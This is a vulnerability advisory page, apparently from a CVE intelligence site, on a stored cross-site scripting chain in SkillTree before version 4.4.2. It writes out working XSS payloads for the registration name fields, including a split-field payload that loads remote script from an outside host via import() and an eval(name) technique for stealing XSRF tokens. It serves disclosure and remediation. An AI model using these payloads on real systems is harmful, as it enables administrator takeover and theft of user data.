Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
Unauthenticated self-registration (PR:N) plants stored XSS that fires on routine admin page views (UI:R); code runs in the admin's authenticated origin (S:C) enabling admin actions (C:H/I:H, A:L).
Primary rating from Vendor (github).
CVSS VectorVendor: github
Lifecycle Timeline
4DescriptionCVE.org
SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. StringHighlighter.js builds an HTML string by interpolating raw value substrings directly into a template literal with no HTML entity encoding. HighlightedValue.vue renders that string - and all unfiltered plain values - via Vue's v-html directive, which sets innerHTML. Separately, the account registration endpoint accepts firstName, lastName, and nickname fields and stores them without any HTML sanitization. An attacker self-registers with firstName = "<img src=x onerror=alert(1)>" (28 characters - within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. <img src=x onerror=alert(1)>, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via import(). Using the split-field technique (lastName = "<img src=x", firstName = "onerror=import('//nsas.cc/p')>"), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action - delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (//nsas.cc/p). The third is full cross-site request forgery token theft. Using eval(name), the attacker pre-sets window.name to a data-theft payload by sending the admin one redirect link first. The session cookie is HttpOnly and cannot be read via document.cookie; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
AnalysisAI
Stored cross-site scripting in SkillTree (NSA skills-service) before 4.4.2 lets an unauthenticated attacker self-register with a malicious firstName/lastName/nickname that executes in an administrator's browser when they open the Quiz Runs page. Because registration fields are stored unsanitized and later rendered through Vue's v-html directive, the flaw escalates from simple alert() proof to remote script loading via import() and full XSRF-token theft, enabling any admin action (delete projects, create backdoor accounts, exfiltrate user data). …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires a SkillTree instance older than 4.4.2 with self-service account registration enabled, allowing the attacker to submit HTML in the firstName/lastName/nickname fields (each capped at 30 characters, bypassed via the split-field technique). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a genuine high-priority issue rather than a high-CVSS-but-low-real-risk case. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade to SkillTree 4.4.2 or later, which contains the vendor patch, per GHSA-hqfg-c8wf-w2g8 (https://github.com/NationalSecurityAgency/skills-service/security/advisories/GHSA-hqfg-c8wf-w2g8). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, audit all SkillTree deployments to identify versions before 4.4.2; restrict administrator dashboard access to trusted networks only and disable user self-registration if operationally feasible. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-20 – Improper Input Validation
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-75116